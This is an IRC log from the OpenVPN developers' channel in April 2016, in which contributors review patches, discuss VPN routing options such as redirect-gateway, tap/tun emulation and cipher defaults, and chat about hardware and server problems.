<@syzzer> I have to shut down the server that runs my bouncer - will be back in ~30 mins 13:23 * cron2 waves 13:23 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Quit: ZNC - http://znc.in] 14:07 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 14:07 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 14:07 <@vpnHelper> RSS Update - gitrepo: Replace MSG_TEST() macro for static inline msg_test() <https://github.com/OpenVPN/openvpn/commit/bbde0a766c69f573746461415c6f5cd289272fff> || Fix memory leak in argv_extract_cmd_name() <https://github.com/OpenVPN/openvpn/commit/be16d5f6b050248f503455e4a0e8f3aaaa38bdc7> 14:07 <@syzzer> there we go! 14:07 <@syzzer> ipv6 tunnel didn't come up properly, and znc was trying to connect over ipv6 :) 14:07 <@cron2> welcome back! 14:09 <@ecrist> native ipv6 ftw 14:09 <@syzzer> ecrist: yes, I would love that... 14:09 <@syzzer> cron2: I think the MSG_TEST() patch makes sense for release/2.3 too 14:09 <@syzzer> because that is the branch we run coverity on 14:09 * cron2 was too lazy to check whether we have included all the other msg... changes there 14:10 <@cron2> we do? 14:10 <@syzzer> hmm, I *think* I tested cherry-pick to release/2.3 14:10 <@syzzer> let me verify 14:10 <@cron2> it applies :) - let me compile and test 14:11 <@syzzer> ah, yes, I'm sure it does, because I already pushed it to the coverity_scan branch ;) 14:17 <@ecrist> syzzer: I'd recommend rootbsd.net, but it looks like you're running linux 14:18 <@syzzer> ecrist: yeah, I really need to look more into the BSDs at some point 14:18 <@syzzer> but this is my home server, where I want terabytes of storage, not gigabytes :) 14:18 <@ecrist> looks like your bnc (smuxi) doesn't build on modern freebsd 14:18 <@ecrist> ah, fair enough 14:19 <@cron2> syzzer: I'm looking at James patch set 14:20 <@ecrist> syzzer: that's too bad. at home I have native ipv6 on gigabit fibre now. :D 14:20 <@syzzer> the 7-patch set? 14:20 <@cron2> you have ACKed 04, 05, 07. As far as I can see, these should be fine without 01 or 02, but what about 06? 14:20 <@cron2> syzzer: 10, actually :) 14:20 <@syzzer> oh, 10 :') 14:23 <@syzzer> 07 will return the wrong fingerprint without 06 14:24 <@syzzer> 04 and 05 can be applied without 07 - we will just lack the polarssl side of things until we have 06 and 07 14:28 <@cron2> so is 06 correct and can be ACKed? then I'll go and do 04..07 (which seems to be "one chunk", fairly independent of the other stuff) 14:29 <@syzzer> the code in 06 is fine, but it needs a better commit message and some text for Changes.rst, because it changes external visible behaviour for polarssl builds 14:31 <@cron2> mmmh. James has not been exactly responsive on requests like that ("missing man page entry") :-/ 14:32 <@syzzer> uhuh 14:33 <@syzzer> let me see if I can come up with some text (or did you already put something together in the mean while?) 14:34 <@cron2> no, I was wrapping a line :-) 14:34 * cron2 has now 04+05 in tree 14:35 <@cron2> oh, and I can see where 07 got stuck 14:35 <@cron2> "lack of ACK on the alternative patch" 14:40 <@syzzer> ah, yes 14:42 <@syzzer> oh, damn, I actually replied to 06, but just to James :/ 14:44 <@cron2> well... applying --inline-crl v3 in the meantime... 14:49 <@cron2> maybe we can get plaisthos (*highlight*) to review 07-syzzer and 06-syzzer... 14:54 * cron2 calls it a day for tonight - $kid[0] isn't sleeping well, so this looks like a somewhat rough night... 14:55 <@syzzer> ok, I'll finish the 06-v2 and call it a night too :) 14:55 <@cron2> (and I don't have enough brains left to review Selva's register-dns patch) 14:55 <@syzzer> good night! 14:55 <@cron2> thanks, and let's poke plaisthos tomorrow :-) 14:57 <@vpnHelper> RSS Update - gitrepo: Implement inlining of crl files <https://github.com/OpenVPN/openvpn/commit/7a7a79f62eb04b0089ae304d558f15c5532c0e61> || Extended x509-track for OpenSSL to report SHA1 fingerprint. <https://github.com/OpenVPN/openvpn/commit/f6608a15efab027e25553da3026c172dbc3aa73e> || Added flags parameter to format_hex_ex. <https://github.com/OpenVPN/openvpn/commit/0a6a80156ee60705f7856100da7a2a61f018e2a0> 17:41 -!- krzee [ba95f387@openvpn/community/support/krzee] has joined #openvpn-devel 17:41 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Tue Apr 05 2016 02:22 <@cron2> plaisthos: if you have time, could you look at syzzer-james 06 aand 07? 04:02 <@plaisthos> cron2: okay will do 04:03 <@plaisthos> valdikss: but the kvm virtual machines also use tun, right? 04:03 <@plaisthos> or is that only "looks like tun" 04:17 <@vpnHelper> RSS Update - gitrepo: Implement inlining of crl files <https://github.com/OpenVPN/openvpn/commit/7a7a79f62eb04b0089ae304d558f15c5532c0e61> || Extended x509-track for OpenSSL to report SHA1 fingerprint. <https://github.com/OpenVPN/openvpn/commit/f6608a15efab027e25553da3026c172dbc3aa73e> || Added flags parameter to format_hex_ex. <https://github.com/OpenVPN/openvpn/commit/0a6a80156ee60705f7856100da7a2a61f018e2a0> || Replace MSG_TEST 08:29 -!- Netsplit *.net <-> *.split quits: @cron2, @syzzer 08:31 -!- Netsplit over, joins: @cron2 08:33 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 08:33 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 14:14 < valdikss> plaisthos: do you mean virtio? It's like tun, but with a lot of low-level optimizations. It's more a "kernel tun" than "userspace tun" 14:17 < valdikss> plaisthos: it's not that fast also. I mean, it's slow, really slow, compared with other interfaces. 14:18 < valdikss> plaisthos: I get only a bit more than 1 Gbit/s between two virtual machines using virtio. 15:00 <@vpnHelper> RSS Update - tickets: #671: Your website seems broken/hacked <https://community.openvpn.net/openvpn/ticket/671> 16:14 <@vpnHelper> RSS Update - gitrepo: Implement inlining of crl files <https://github.com/OpenVPN/openvpn/commit/7a7a79f62eb04b0089ae304d558f15c5532c0e61> || Extended x509-track for OpenSSL to report SHA1 fingerprint. <https://github.com/OpenVPN/openvpn/commit/f6608a15efab027e25553da3026c172dbc3aa73e> || Added flags parameter to format_hex_ex. <https://github.com/OpenVPN/openvpn/commit/0a6a80156ee60705f7856100da7a2a61f018e2a0> || Replace MSG_TEST 17:53 <+krzee> Tue Apr 5 22:25:28 2016 us=368338 user/172.9.8.219:58484 MULTI ERROR: primary virtual IP for user/172.9.8.219:58484 (172.24.1.1) violates tunnel network/netmask constraint (172.24.0.0/255.255.255.0) 17:54 <+krzee> when did that start happening? it goes against how we used to tell people to setup multiple subnets for accessing different stuff 17:55 <+krzee> https://openvpn.net/index.php/open-source/documentation/howto.html#policy 17:55 <@vpnHelper> Title: HOWTO (at openvpn.net) 19:28 <@plaisthos> valdikss: with a simple iperf I get 11 Gbit/s between two virtio machines --- Day changed Wed Apr 06 2016 01:37 <@cron2> krzee: that message has been in there since 2.1 times or longer - but it's basically just a hint (there might be an option to turn it into an error, not sure) 05:42 <@vpnHelper> RSS Update - tickets: #672: OpenVPN does not recognize network change <https://community.openvpn.net/openvpn/ticket/672> 07:11 <@ecrist> wow, vpnHelper is chatty today 16:34 <+krzee> cron2: oh it said "error" i didnt realize it was not an error --- Day changed Thu Apr 07 2016 14:40 < FFes> Hi, I am preparing a PR for the windows openvpn-gui that fills the username dialog with the current windows username. Any changes of that feature getting accepted? 18:16 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 252 seconds] 19:03 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 19:03 -!- mode/#openvpn-devel [+o andj] by ChanServ 20:15 <@ecrist> aw, FFes left 21:55 <@vpnHelper> RSS Update - tickets: #673: weak cipher suites <https://community.openvpn.net/openvpn/ticket/673> --- Day changed Fri Apr 08 2016 02:48 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 246 seconds] 03:01 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 03:01 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 06:40 <@cron2> does "pritunl.com" ring a bell for one of you? 06:42 <@dazo> nope ... but looks nice 06:44 <@cron2> well... I'm slightly annoyed at their marketing speak ("most secure VPN server!"), and total lack of "contributing back"... 06:44 <@dazo> true 06:44 <@cron2> if their stuff is so great, I'm sure they've found a few warts in openvpn that we would benefit from fixing... 06:44 <@dazo> I just logged into their demo stuff ... and that looks nice 06:45 <@cron2> definitely 07:00 <@ecrist> cron2: "contributing back" is not required. 07:05 <@ecrist> it's pretty apparent someone spent so good money developing that platform 07:19 <@cron2> I'm totally fine with someone building a "managed vpn server environment" thingie (like, OpenVPN AS) and making money off services 07:19 <@cron2> I'm even fine with the management thingie being closed source (*look at OpenVPN AS*) 07:19 <@cron2> but some sort of channeling back improvements to the openvpn core are definitely good style... 07:27 <@dazo> cron2++ 07:45 <@ecrist> oh, I agree. 07:45 <@ecrist> what we could do is just ask them to provide feedback 08:22 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 268 seconds] 08:26 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 08:26 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 08:39 < valdikss> It's pretty sad that a lot of "business products" use OpenVPN and does not contribute back 09:40 <@mattock> FFes: filling in the current Windows username in openvpn-gui sounds quite reasonable 09:41 <@mattock> btw, these small fixes by Selva would benefit from a bit of code review: https://github.com/OpenVPN/openvpn-gui/pull/33 09:41 <@vpnHelper> Title: Some small bug fixes by selvanair · Pull Request #33 · OpenVPN/openvpn-gui · GitHub (at github.com) 09:41 <@mattock> I went through them myself and there are not that many lines to review 09:51 < FFes> I will take a look, hopefully this weekend. 09:51 < FFes> I also have a "how to buiild using cygwin". I will prepare a PR for that as well 09:53 < FFes> Using cygwin has the advantage it has a mingw-w64 openssl dev package. It just works :-) 10:05 < FFes> What is prefered, restructuredtext or markdown? 10:12 <@mattock> rst 10:12 <@mattock> none of us had strong opinions on the matter, except james, so we took that path 10:13 <@mattock> although there might be markdown files here and there, not sure 10:16 < FFes> I don't mind. I know both well enough --- Day changed Sat Apr 09 2016 04:23 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Quit: ZNC - http://znc.in] 05:03 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 05:03 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 05:16 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Quit: ZNC - http://znc.in] 05:39 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 05:39 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 07:26 <@cron2> syzzer: ayt? 07:26 <@cron2> init_key_type() declaration in crypto.h does not match crypto.c (bool cfb_ofb_allowed vs. bool tls_mode)... 10:54 <@syzzer> cron2: ah, more fallout from the AEAD patch set 11:34 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 268 seconds] 11:40 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 11:40 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 13:26 <@cron2> syzzer: your bouncer is bouncing :) - but good that you've seen the previous comment 13:29 <@syzzer> cron2: yeah, I had to do some maintenance reboots this morning.. 13:30 <@cron2> so has the RAID recovered, finally? 13:30 <@syzzer> yes, no data loss fortunately :) 13:30 <@syzzer> now moving data to new disks - I don't trust these anymore... 13:32 <@syzzer> but I'm leaving for beers now :) good night! 13:33 <@cron2> cheers! 17:08 <@ecrist> anyone else looked at that message on the security list? 17:11 <@mattock> I did, and asked James to have a look 18:15 <@ecrist> My brief look lends me to think web browsing may be exposed, but other traffic would not be. 19:41 <@vpnHelper> RSS Update - tickets: #674: compression issue causing connection issues with iOS OpenVPN Connect client 1.0.5 build 177 and OpenVPN Access Server 2.0.25 <https://community.openvpn.net/openvpn/ticket/674> --- Day changed Sun Apr 10 2016 03:51 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Quit: ZNC - http://znc.in] 04:02 <@cron2> ecrist: yes, this is how I read this - "applications are being stupid", but this is not what I call a vulnerability *in OpenVPN* 04:03 <@cron2> OTOH if we market "--redirect-gateway" as "no traffic will leak, ever" we might want to see if we can turn off WPAD handling when openvpn is running 04:09 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 04:09 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 04:11 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Quit: ZNC - http://znc.in] 04:58 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 04:58 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 06:01 <@cron2> syzzer: I assume you've already read that - but I find it interesting reading: www.daemonology.net/blog/2014-09-04-how-to-zero-a-buffer.html 06:01 <@cron2> and www.daemonology.net/blog/2014-09-06-zeroing-buffers-is-insufficient.html 06:14 <@syzzer> interesting indeed - I didn't read these posts before (I think...), but I was aware of this 06:15 <@syzzer> though I think his point about AES-NI is a bit weird. Using AES-NI isn't portable, so I don't see why the code that clears the registers should be portable 06:27 <@plaisthos> yeah 06:27 <@plaisthos> it is more like my aes implementation leaves data lying around and I blame it on the compiler 10:44 -!- krzee [ba95f387@openvpn/community/support/krzee] has quit [Ping timeout: 250 seconds] 11:52 <@ecrist> valdikss: that WITCH page is pretty neat. Can you share the source for that? I'm curious. --- Day changed Mon Apr 11 2016 04:18 <@plaisthos> one day I am going to implement a tap over tun emulation 04:19 <@plaisthos> I needed tap on os x and immediatly ran into problems with tap driver 04:31 <@cron2> haha, I'll have to do a tun-over-tap driver one day :-) 04:31 <@cron2> (AIX only has tap devices, period) 04:59 <@plaisthos> cool, maybe we can combine them to do tun-over-tap-over-tun-tap-over tun 04:59 <@plaisthos> and see how badly they break 05:12 <@cron2> have a emulated tun on AIX speak with an emulated TAP on MacOS... 05:12 <@plaisthos> :) 05:13 <@plaisthos> I menat on one side, stacking the emulations :0 06:03 <@cron2> we need to work on our plugin API to permit this! 06:07 <@plaisthos> hehe 06:07 <@plaisthos> might not be the worst idea 06:07 <@plaisthos> what we really need in our plugin api is a connection plugin 06:22 <@plaisthos> to have something like 06:22 <@plaisthos> connect-plugin obfsproxy.so 06:22 <@plaisthos> or something like that 06:23 <@plaisthos> so they can be fully integrated in the config yet live outside of openvpn 06:30 <@cron2> yep, but that's the other end of the encapsulation stack... 06:42 <@ecrist> cron2: doesn't mac os x have a tap adapter? 06:45 <@plaisthos> ecrist: there is a 3rd party tun/tap adapter that kind of works 06:49 <@cron2> ecrist: tunnelblick brings a tap.kext, built-in is only vtun 06:54 <@plaisthos> ecrist: and there is the native (tun only) utun adapter 06:56 <@cron2> s/vtun/utun/ :) 06:56 <@ecrist> ok. it's been a while since I used tap on os x, and I don't recall having too many issues. 06:57 <@ecrist> what sorts of problems were you seeing under what conditions? 08:48 <@plaisthos> vmware and tun/tap kernel module not liking each other 08:48 <@plaisthos> getting strange errors 08:49 <@plaisthos> and for android I need a tap emulation anyway 08:49 <@plaisthos> should not be that hard 08:50 <@plaisthos> => check in table, if not found, send ARP/ND instead 08:50 <@plaisthos> otherwise wrap in l2 header 08:50 <@plaisthos> and let high layer protocol deal with lost packets because of arp/nd :) 08:51 <@plaisthos> because stateless is easier :0 08:51 <@cron2> :) --- Day changed Tue Apr 12 2016 17:11 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 268 seconds] 17:20 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 17:20 -!- mode/#openvpn-devel [+o syzzer] by ChanServ --- Day changed Wed Apr 13 2016 03:09 <@cron2> ouch... http://krebsonsecurity.com/2016/04/new-threat-can-auto-brick-apple-devices/ 03:09 <@vpnHelper> Title: New Threat Can Auto-Brick Apple Devices Krebs on Security (at krebsonsecurity.com) 03:59 <@plaisthos> that is relatively old news 04:07 <@cron2> that you can do this manually, yes. that it actually works using NTP was news to me 04:10 <@plaisthos> oh 04:10 <@plaisthos> that is evil 05:12 <@d12fk> is there a difference between puching twp /1 routes and redirect-gateway def1? 05:12 * d12fk better gets coffee 05:13 <@d12fk> iOS customer ran into the ipv4 not in tunnel problem 05:13 <@d12fk> since we push def1 anyways i thought pushinh the /1s directly wouldn't hurt. Amiright? 05:20 * d12fk really better gets coffee 05:20 <@d12fk> went to get some, returned with a müsli m) 05:30 <@cron2> d12fk: well, 2.x code base will not do overlapping route check if you "just" push 2x/1 - you need to add "redirect-internal" (IIRC). "redirect-gateway def1" does "redirect + 2x/1" 05:30 <@cron2> on iOS, this is moot, as the VPN API will handle overlapping routes, so *there* it's the same 05:40 <@plaisthos> d12fk: redirect-gateway also adds a host route to your vpn server 05:40 <@plaisthos> other than that I cannot think of a reason 05:40 <@plaisthos> redirect-private iirc 05:43 <@cron2> yes, what plaisthos says :) 05:44 <@d12fk> hm, is there a redirect-gateway that handles ipv6? 05:44 <@d12fk> for v6 we push two/1 already 05:57 <@cron2> d12fk: 2.4 has redirect-gateway ipv6, with proper overlapping route check 05:57 <@cron2> 2.3 needs "push 2x/1" (or 2000::/4, since some people still seem to think that "2000::/3" is a valid default route for v6) 06:37 <@d12fk> cron2: sorry don't get why i would need redirect-private. will the OS not route private ranges via default route, is that why? 06:39 <@plaisthos> d12fk: your local net is 192.168.0.0/24 and you push 192.168.0.0/16 06:39 <@plaisthos> without redirect-private you would get a routing loop 07:05 <@d12fk> ok got it and the side effect of redirect-private is the overlap check? 07:18 <@cron2> it's not actually checking of overlaps, just adding a /32 host route for vpn-gateway via default-gateway 07:24 <@plaisthos> I bet it is not exactly the same as 07:24 <@plaisthos> route vpn_gateway 255.255.255.255 net_gateway 07:24 <@plaisthos> there is probably some subtle difference 07:26 <@cron2> I'm not betting with you about subtle code surprises in OpenVPN :-) 07:34 <@plaisthos> cron2: coward! 07:35 <@plaisthos> (I wouldn't bet either) 07:41 < n13l> hey all, are there any general merging rules with the github/master regarding release process ? there's feature in github/master [RFC-5705] support which is still not available in openvpn release version 07:41 <@d12fk> well we already push the host route by default just to be sure 07:47 <@cron2> n13l: release/2.3 will normally only see bugfixes, not new features. 07:47 <@cron2> exceptions for long-term compatibility (peer-id client-only) / security (tls 1.2) 07:49 <@cron2> (there are TONS of interesting features in master that will never see release/2.3 - AEAD, rgi6, peer-id server-side, interactive service, ... - which is why we really need to get close to 2.4 eventually :) ) 07:51 <@plaisthos> Android support! 07:51 <@plaisthos> :) 07:52 <@plaisthos> Although I have also backport for that to 2.2 07:53 <@cron2> looking at the android ecosystem, I wonder if that's not a platform with about as little future as windows... 08:04 <@plaisthos> cron2: no idea 08:21 < n13l> cron2: thanks for the info :-) so I should wait for 2.4+ ? 08:23 < n13l> Well It is good enough that I can git clone and build without the patches process :) 08:35 < n13l> windows platform will be fine if they finally add support for effective fork(), unix sockets, unix FS, signals workin as sw interupts instead of other threads (heh what's the point of posix interface if they behave completely different) 08:39 <@plaisthos> n13l: 2.4 will probably take another 2-3 months 08:39 <@plaisthos> we do not even hava alpha or rc versions 08:40 <@plaisthos> but master is already maintained more like a stable release than like a development branch 08:40 < n13l> plaisthos: sounds good because I wanna make public and open online demo based on RFC-5705 support 08:40 <@plaisthos> and the client side is (semi-involuntary) tested by all my Android users 08:40 < n13l> plaisthos: i bealive in master quality because I allready use that in production :) 08:46 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 08:55 <@cron2> master quality is good, and some parts are more rigourously tested than release/2.3 - but bits are still missing 10:14 <@d12fk> cron2, plaisthos: from the code i see no difference between pushing two /1 and redir-gtwy def1 10:15 <@d12fk> all the magic depends on additional flags like bypass-dns/dhcp or block-local 10:16 <@d12fk> the ipv6 flag to redir-gtwy will actually issue a warning when it receives it push on regular clients 10:16 <@d12fk> so I rather go with the two /1 approach for now. thanks for your help. 10:44 -!- Netsplit *.net <-> *.split quits: @syzzer 11:13 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 11:13 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 15:04 -!- wiz_ is now known as wiz 15:40 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services] 15:41 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 15:41 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 15:47 -!- Netsplit *.net <-> *.split quits: esde 15:52 -!- esde [~something@openvpn/user/esde] has joined #openvpn-devel 16:03 -!- FFes_ is now known as FFes 16:40 -!- FFes is now known as Guest98345 16:40 -!- FFes_ is now known as FFes 17:08 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 248 seconds] 17:09 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 17:09 -!- mode/#openvpn-devel [+o syzzer] by ChanServ --- Day changed Thu Apr 14 2016 01:09 -!- Netsplit *.net <-> *.split quits: @vpnHelper, @syzzer, @dazo 01:09 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 01:09 -!- Netsplit over, joins: vpnHelper 01:09 -!- wiz_ is now known as wiz 01:22 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 264 seconds] 01:53 <@cron2> so much activity on the lists today 01:53 <@cron2> (and my new desktop machine is close to being actually usable... old machine died Saturday) 03:02 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 03:02 -!- mode/#openvpn-devel [+o dazo] by ChanServ 03:09 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 03:45 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 03:45 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 04:11 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 250 seconds] 04:23 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 04:23 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 04:46 -!- FFes_ is now known as FFes 05:43 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 05:43 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 06:20 <@d12fk> has iOS or the app behavior changed? I get a verification error for the root CA that I pass along inline in the config. 06:21 <@d12fk> do i need to install the ca explicitly? trying 06:28 < valdikss> ecrist: https://github.com/ValdikSS/p0f-mtu + https://github.com/ValdikSS/p0f-mtu-script 06:28 <@vpnHelper> Title: GitHub - ValdikSS/p0f-mtu: p0f with patches to save MTU value and export it via API (at github.com) --- Log closed Thu Apr 14 06:29:35 2016 --- Log opened Thu Apr 14 07:37:17 2016 07:37 -!- Irssi: #openvpn-devel: Total of 25 nicks [7 ops, 0 halfops, 0 voices, 18 normal] 07:37 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 07:37 -!- Irssi: Join to #openvpn-devel was synced in 7 secs 08:02 -!- cron2 [~hunger@openvpn/community/developer/cron2] has joined #openvpn-devel 08:02 -!- mode/#openvpn-devel [+o cron2] by ChanServ 08:02 <@cron2> hardware sucks 08:03 <@syzzer> cron2: yes, it does! 08:05 <@d12fk> plaisthos: i liek the new logo 08:12 <@plaisthos> d12fk: :) 08:17 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 276 seconds] 08:18 -!- cron2 [~hunger@openvpn/community/developer/cron2] has quit [Ping timeout: 276 seconds] 08:18 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 08:18 -!- mode/#openvpn-devel [+o mattock] by ChanServ 08:23 -!- cron2_ [~hunger@openvpn/community/developer/cron2] has joined #openvpn-devel 08:23 -!- mode/#openvpn-devel [+o cron2_] by ChanServ 08:49 -!- cron2_ [~hunger@openvpn/community/developer/cron2] has quit [Ping timeout: 264 seconds] 08:53 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 250 seconds] 08:59 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 08:59 -!- mode/#openvpn-devel [+o dazo] by ChanServ 09:28 <@ecrist> valdikss: thanks! 12:16 -!- cron2 [~hunger@openvpn/community/developer/cron2] has joined #openvpn-devel 12:16 -!- mode/#openvpn-devel [+o cron2] by ChanServ 12:20 -!- cron2 [~hunger@openvpn/community/developer/cron2] has quit [Ping timeout: 252 seconds] 15:04 -!- cron2 [~hunger@openvpn/community/developer/cron2] has joined #openvpn-devel 15:04 -!- mode/#openvpn-devel [+o cron2] by ChanServ 15:05 <@cron2> is it just me or is freenode flaky today? 15:25 <@vpnHelper> RSS Update - gitrepo: Ensure input read using systemd-ask-password is null terminated <https://github.com/OpenVPN/openvpn/commit/d09fbf958f1c0b15372b3e87d784ae666b91a96b> 22:31 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 22:31 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 22:33 -!- Netsplit *.net <-> *.split quits: @mattock, @dazo 22:33 -!- mattock_ is now known as mattock 22:33 -!- Netsplit over, joins: dazo 22:33 -!- mode/#openvpn-devel [+o dazo] by ChanServ --- Day changed Fri Apr 15 2016 00:27 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 264 seconds] 00:27 -!- cron2 [~hunger@openvpn/community/developer/cron2] has quit [Ping timeout: 264 seconds] 00:28 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:28 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:51 -!- cron2_ [~hunger@openvpn/community/developer/cron2] has joined #openvpn-devel 01:51 -!- mode/#openvpn-devel [+o cron2_] by ChanServ 03:13 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection] 05:06 <@cron2_> mattock: cool! (EV signed driver) 05:47 <@syzzer> cron2_: I had problems with freenode too yesterdat 07:10 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 07:10 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 07:53 <@cron2_> ah, plaisthos is back :) - could you have a quick look at the patch 07:53 <@cron2_> Subject: [Openvpn-devel] [PATCH] Make intent of device name validation clear 07:53 <@cron2_> "your code, you get to ACK ist" (but I think it makes sense) 07:55 <@plaisthos> yeah 07:55 <@plaisthos> don't we have streq as macro? 07:55 <@plaisthos> that I forget to use? :) 07:56 <@plaisthos> oh no 07:56 <@plaisthos> nevermind 07:56 <@cron2_> I think we do have streq as well :) 07:57 <@plaisthos> it only checks if it starts with the same string 08:00 <@plaisthos> I don't like the patch 08:00 <@cron2_> why? 08:00 <@plaisthos> I would have prefered just to add the missing () instead of changing the logic of the ifs 08:01 <@cron2_> personally I like taking away characters more than adding ()... :) 08:02 <@plaisthos> matter of taste 08:02 <@cron2_> true 08:02 <@plaisthos> I can also ACK it, I rather ACK it than prepare my own patch ;) 08:03 <@cron2_> your code - I have no strong opinion here 08:03 <@cron2_> we should clean it up, but it could go either way 08:05 <@plaisthos> cron2_: just commit with a note like: Discussion on IRC: Arne rather wants this commited than spending his own time over nitpicking 08:05 <@plaisthos> :) 08:05 <@plaisthos> (read the patch is fine as ack) 08:10 <@cron2_> haha :) 10:23 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:23 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 10:26 -!- Netsplit *.net <-> *.split quits: @mattock 10:26 -!- mattock_ is now known as mattock 10:33 -!- floppym_ is now known as floppym 12:27 -!- woodrow_ is now known as woodrow 14:14 -!- floppym_ is now known as floppym --- Day changed Sat Apr 16 2016 17:34 -!- floppym is now known as floppymaster 17:35 -!- floppymaster is now known as floppym --- Log closed Sun Apr 17 03:05:06 2016 --- Log opened Sun Apr 17 03:11:31 2016 03:11 -!- Irssi: #openvpn-devel: Total of 28 nicks [9 ops, 0 halfops, 0 voices, 19 normal] 03:11 -!- mode/#openvpn-devel [+o ecrist_] by ChanServ 03:12 -!- Irssi: Join to #openvpn-devel was synced in 45 secs 03:13 -!- marlinc_ is now known as marlinc 03:14 -!- wiz_ is now known as wiz 05:16 <@vpnHelper> RSS Update - gitrepo: fixup: change init_key_type() param name in declaration too <https://github.com/OpenVPN/openvpn/commit/0f99269711e2aa8a2f88c5991381ea7e52c7485e> 10:33 -!- floppym_ is now known as floppym 12:08 <@cron2_> so... seems the days of hardware pain are coming close to an end... new desktop system is up and running... and FAST 12:09 <@cron2_> (second-generation atom -> i5-6020U) 12:16 <@vpnHelper> RSS Update - gitrepo: Make intent of utun device name validation clear <https://github.com/OpenVPN/openvpn/commit/6be0f0015d7485f0bf3c14a3a381a6f6496270a5> 12:20 <@plaisthos> cron2_: :) 12:38 <@cron2_> syzzer: textual suggestions for Changes.rst? 12:47 <@syzzer> cron2_: hmpf, forgot again... will send follow-up! 12:47 <@cron2_> I can do that when merging 12:47 <@cron2_> but feel free to send a v2 13:23 < valdikss> Chrome dropped XP and Vista support. 13:30 <@syzzer> cron2_: v2's on the list 13:33 <@syzzer> cron2_: sent the wrong v2 for master the first time :( 13:33 <@syzzer> but the correct one should be in your mailbox now :) 13:38 <@syzzer> ... and my other goal for today on the list too :) (Looks a lot more scary than it is, most changes are purely renaming) 13:40 <@plaisthos> syzzer: Did you add Changes.rst in the mbed tls patch? *duck* 13:41 <@syzzer> plaisthos: aaargh! :( 13:41 <@syzzer> why is it that I can only remember Changes.rst when *reviewing* patches... 13:42 <@plaisthos> syzzer: :) 13:42 <@plaisthos> no problem, I tend to the Changes.rst too 13:42 <@plaisthos> and I did the initial patch 13:43 <@syzzer> hehe 15:54 <@cron2_> syzzer, plaisthos: fun :) 16:02 <@cron2_> syzzer: not to be the always-complaining one... the 2.3 v2 also misses Changes.rst... 16:03 <@cron2_> the master-v2.2 has it :) 16:03 <@cron2_> but... 16:03 <@cron2_> Applying: Further restrict default cipher list 16:03 <@cron2_> error: patch failed: Changes.rst:89 16:03 <@cron2_> error: Changes.rst: patch does not apply 16:04 * cron2_ will sort 